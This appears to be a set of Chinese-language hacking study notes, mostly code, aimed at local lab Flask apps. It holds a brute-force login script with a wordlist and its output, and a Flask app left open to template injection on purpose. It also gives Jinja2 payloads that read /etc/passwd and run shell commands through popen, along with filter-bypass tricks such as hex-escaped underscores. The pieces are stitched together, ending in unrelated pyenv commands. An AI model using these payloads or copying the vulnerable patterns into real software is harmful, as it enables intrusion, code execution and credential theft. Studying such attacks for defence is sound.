# server.py
from flask import Flask, request
app = Flask(__name__)
users = {'alice': '123456'}           # 只一个弱口令
 
@app.route('/login', methods=['POST'])
def login():
    u, p = request.form['u'], request.form['p']
    return 'OK' if users.get(u) == p else 'NO'
 
if __name__ == '__main__':
    app.run(port=8888)
 

# brute.py
import requests, sys
URL="http://127.0.0.1:8888/login"
USER= ['admin','alice']
 
DEFAULT_WORDLIST = [
    '123456', 'password', 'qwerty', 'letmein', 'admin', 'iloveyou', 'welcome', 'password123'
]
words = DEFAULT_WORDLIST
for i in USER:
    for pwd in words:
        print("尝试用户",i,"密码",pwd)
        if "OK" in requests.post(URL, data={"u": i, "p": pwd}).text:
            print("密码找到了:", pwd)
            break
        else:
            print("密码错误:", pwd)
    print("用户",i,"密码爆破完成")
 

❯ python .\baopao.py
尝试用户 admin 密码 123456
密码错误: 123456
尝试用户 admin 密码 password
密码错误: password
尝试用户 admin 密码 qwerty
密码错误: qwerty
尝试用户 admin 密码 letmein
密码错误: letmein
尝试用户 admin 密码 admin
密码错误: admin
尝试用户 admin 密码 iloveyou
密码错误: iloveyou
尝试用户 admin 密码 welcome
密码错误: welcome
尝试用户 admin 密码 password123
密码错误: password123
用户 admin 密码爆破完成
尝试用户 alice 密码 123456
密码找到了: 123456
用户 alice 密码爆破完成

eval("os.system('ls')")
__import__('os').system('whoami')

Hello, {{ name }}!

Hello, bx!

from flask import render_template
 
@app.route('/')
def index():
    return render_template('hello.html', name='bx king')

<h1>Hello {{ name }}</h1>

<h1>Hello bx king</h1>

{{ config.items() }}

{% set x=globals.__builtins__.open('/etc/passwd').read() %}{{x}}

{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

from flask import Flask, request, render_template_string
 
app = Flask(__name__)
 
@app.route('/ssti')
def ssti_vuln():
    name = request.args.get('name', 'World')
    # 危险：直接将用户输入传入模板
    template = f"Hello, {name}!"
    return render_template_string(template)
 
# SSTI探测payload
basic_payloads = [
    "{{7*7}}",           # 基础测试，应返回49
    "{{7*'7'}}",         # 字符串重复，应返回7777777
    "${7*7}",            # 其他模板引擎测试
    "#{7*7}",            # Ruby ERB测试
]
 
# Jinja2信息收集payload
info_gathering = [
    "{{config}}",                    # Flask配置信息
    "{{self}}",                      # 模板上下文
    "{{request}}",                   # 请求对象
    "{{g}}",                         # Flask全局对象
    "{{session}}",                   # 会话信息
    "{{config.items()}}",            # 配置项详情
]
 
print("SSTI基础payload,你可以尝试访问/ssti,get传参")
print("探测payload:", basic_payloads)
print("信息收集payload:", info_gathering[:3])
 
if __name__ == '__main__':
    app.run(debug=True)

{{ ''.__class__ }}                          # str 类
{{ ''.__class__.__mro__ }}                 # 查看类继承顺序
{{ ''.__class__.__mro__[1] }}              # object 类
{{ ''.__class__.__mro__[1].__subclasses__() }}  # 所有子类列表

__mro__[-1]
__base__
__bases__[0]

''.__class__ = ''['__class__']
''.__class__ = ''|attr('__class__')

1、用[]代替.
{{"".__class__}}={{""['__class']}}
2、用attr()过滤器绕过，举个例子
{{"".__class__}}={{""|attr('__class__')}}

1、通过list获取字符列表，然后用pop来获取_，举个例子
{% set a=(()|select|string|list).pop(24)%}{%print(a)%}
2、可以通过十六进制编码的方式进行绕过，举个例子
{{()["\x5f\x5fclass\x5f\x5f"]}} ={{().__class__}}

{%print("".__.....)%}

"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

def string_to_hex(s):
    # 将字符串编码为十六进制形式，每个字符被转为两个十六进制数
    return s.encode('ascii').hex()
 
def hex_to_string(s):
    # 将十六进制字符串解码回普通字符串
    return bytes.fromhex(s).decode('ascii')
 
# 示例
normal_string = "__class__"
hex_string = string_to_hex(normal_string)
print(f"Original: {normal_string}")
print(f"Hex: {hex_string}")
 
# 转换回来以验证
decoded_string = hex_to_string(hex_string)
print(f"Decoded: {decoded_string}")
 
# 输出处理成类似 \x 格式
def string_to_hex_with_slashes(s):
    return ''.join(f'\\x{ord(c):02x}' for c in s)
 
# 测试
print("Hex with slashes:", string_to_hex_with_slashes(normal_string))

{{lipsum.__globals__['os'].popen('tac ../flag').read()}}
{{lipsum.__globals__['o''s']['po''pen']('ls').read()}}
#request对象的方法绕过
 
{{cycler.__init__.__globals__.os.popen('ls /').read()}}
 
{{ config.__class__.__init__.__globals__['o''s']['pop''en']('ls /').read() }}                                                                                                                                                                                                       
 
 
#flask
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
                                                                                                                                                                                                        
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}                                                                                                                                                                                                       

pyenv install 3.10.13
pyenv install 3.12.3

pyenv install --list

pyenv global 3.10.13

pyenv shell 3.12.3

pyenv local 3.12.3

pyenv versions    # 查看已安装的所有版本
pyenv version     # 当前正在使用的版本